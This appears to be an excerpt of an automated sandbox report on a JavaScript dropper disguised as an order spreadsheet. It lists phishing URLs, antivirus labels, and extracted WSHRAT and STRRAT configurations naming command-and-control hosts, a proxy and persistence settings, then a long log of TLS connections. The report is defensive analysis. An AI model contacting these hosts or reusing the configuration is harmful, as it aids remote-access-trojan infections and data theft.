Source: http://chongmei33.publicvm.com:7045/is-readyata	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-ready	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyi	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readygsl	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyr	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyo	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyStat	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readym	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyows	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\word.js

Avira: detection malicious, Label: JS/Dldr.G8

Found malware configuration

Source: amsi64_7436.amsi.csv	Malware Configuration Extractor: WSHRAT {"C2 url": "chongmei33.publicvm.com", "Port": "7045", "Install folder": "%appdata%"}
Source: 00000003.00000002.1744494613.0000023852D40000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: STRRAT {"C2 list": "chongmei33.publicvm.com:44662", "url": "http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5", "Proxy": "jinvestments.duckdns.org:44662", "lid": "khonsari", "Startup": "true", "Secondary Startup": "true", "Scheduled Task": "true"}

Multi AV Scanner detection for domain / URL

Source: chongmei33.publicvm.com

Virustotal: Detection: 19%

Perma Link

Multi AV Scanner detection for submitted file

Source: ORDER-24171200967.XLS..js

ReversingLabs: Detection: 23%

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50114 version: TLS 1.2
